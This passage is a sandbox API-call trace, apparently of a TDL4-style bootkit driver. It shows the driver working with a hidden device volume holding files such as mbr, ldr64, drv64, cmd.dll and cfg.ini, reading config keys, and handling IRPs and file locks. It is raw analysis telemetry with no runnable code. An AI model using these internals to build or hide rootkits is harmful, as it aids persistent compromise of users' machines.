(Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.329] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.329] KeEnterCriticalRegion () [0120.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.329] ExFreePoolWithTag (P=0xfffffa8003bbcfb0, Tag=0x0) [0120.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.329] KeLeaveCriticalRegion () [0120.329] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.329] ReleaseMutex (hMutex=0xf0) returned 1 [0120.329] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.329] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.329] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.329] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.329] KeEnterCriticalRegion () [0120.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.329] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.329] IdePortDispatch () returned 0x103 [0120.330] KeWaitForMutexObject () returned 0x0 [0120.330] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.330] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.330] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.330] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.330] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.330] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.330] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.330] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.330] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.330] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.330] KeLeaveCriticalRegion () [0120.330] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.330] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.330] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.330] KeEnterCriticalRegion () [0120.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.330] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.330] IdePortDispatch () returned 0x103 [0120.330] KeWaitForMutexObject () returned 0x0 [0120.330] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.330] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.330] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.330] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.330] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.330] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.331] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.331] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.331] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.331] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.331] KeLeaveCriticalRegion () [0120.331] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.331] ReleaseMutex (hMutex=0x100) returned 1 [0120.331] Sleep (dwMilliseconds=0x2bf20) [0120.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aec4690, dwHighDateTime=0x1d24fa4)) [0120.337] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.337] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.337] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.337] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.337] KeEnterCriticalRegion () [0120.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.337] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.337] IdePortDispatch () returned 0x103 [0120.338] KeWaitForMutexObject () returned 0x0 [0120.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.338] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.338] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.338] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.338] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.338] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcb10 [0120.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.338] KeLeaveCriticalRegion () [0120.338] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.338] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.338] KeEnterCriticalRegion () [0120.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.338] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.338] KeLeaveCriticalRegion () [0120.338] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.338] KeEnterCriticalRegion () [0120.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.338] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.338] IdePortDispatch () returned 0x103 [0120.338] KeWaitForMutexObject () returned 0x0 [0120.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.338] KeLeaveCriticalRegion () [0120.338] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.338] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.338] KeEnterCriticalRegion () [0120.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003448000 [0120.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.339] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.339] IdePortDispatch () returned 0x103 [0120.339] KeWaitForMutexObject () returned 0x0 [0120.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.339] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.339] IdePortDispatch () returned 0x103 [0120.339] KeWaitForMutexObject () returned 0x0 [0120.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.339] KeLeaveCriticalRegion () [0120.339] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.340] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.340] KeEnterCriticalRegion () [0120.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.340] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.340] KeLeaveCriticalRegion () [0120.340] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.340] KeEnterCriticalRegion () [0120.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.340] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.340] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.340] KeLeaveCriticalRegion () [0120.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.340] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.340] KeEnterCriticalRegion () [0120.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.340] ExFreePoolWithTag (P=0xfffffa8003bbcb10, Tag=0x0) [0120.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.340] KeLeaveCriticalRegion () [0120.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.340] ReleaseMutex (hMutex=0xf0) returned 1 [0120.340] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.340] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.340] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.340] KeEnterCriticalRegion () [0120.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.340] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.340] IdePortDispatch () returned 0x103 [0120.340] KeWaitForMutexObject () returned 0x0 [0120.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.341] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.341] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.341] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.341] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.341] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc20a0 [0120.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.341] KeLeaveCriticalRegion () [0120.341] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.341] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.341] KeEnterCriticalRegion () [0120.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.341] KeLeaveCriticalRegion () [0120.341] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.341] KeEnterCriticalRegion () [0120.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.341] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.341] IdePortDispatch () returned 0x103 [0120.341] KeWaitForMutexObject () returned 0x0 [0120.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.341] KeLeaveCriticalRegion () [0120.341] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.341] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.341] KeEnterCriticalRegion () [0120.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.341] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003449000 [0120.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.341] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.341] IdePortDispatch () returned 0x103 [0120.342] KeWaitForMutexObject () returned 0x0 [0120.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.342] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.342] IdePortDispatch () returned 0x103 [0120.342] KeWaitForMutexObject () returned 0x0 [0120.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.342] KeLeaveCriticalRegion () [0120.342] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.342] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.342] KeEnterCriticalRegion () [0120.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.342] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.343] KeLeaveCriticalRegion () [0120.343] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.343] KeEnterCriticalRegion () [0120.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.343] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.343] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc27b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.343] KeLeaveCriticalRegion () [0120.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.343] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.343] KeEnterCriticalRegion () [0120.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.343] ExFreePoolWithTag (P=0xfffffa8003bc20a0, Tag=0x0) [0120.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.343] KeLeaveCriticalRegion () [0120.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.343] ReleaseMutex (hMutex=0xf0) returned 1 [0120.343] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.343] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.343] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.343] KeEnterCriticalRegion () [0120.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.343] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.343] IdePortDispatch () returned 0x103 [0120.343] KeWaitForMutexObject () returned 0x0 [0120.343] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.343] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.343] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.343] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.343] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.343] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc810 [0120.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.343] KeLeaveCriticalRegion () [0120.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.344] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.344] KeEnterCriticalRegion () [0120.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.344] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.344] KeLeaveCriticalRegion () [0120.344] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.344] KeEnterCriticalRegion () [0120.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.344] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.344] IdePortDispatch () returned 0x103 [0120.344] KeWaitForMutexObject () returned 0x0 [0120.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.344] KeLeaveCriticalRegion () [0120.344] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.344] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.344] KeEnterCriticalRegion () [0120.344] ExAcquireFastMutexUnsafe (in: 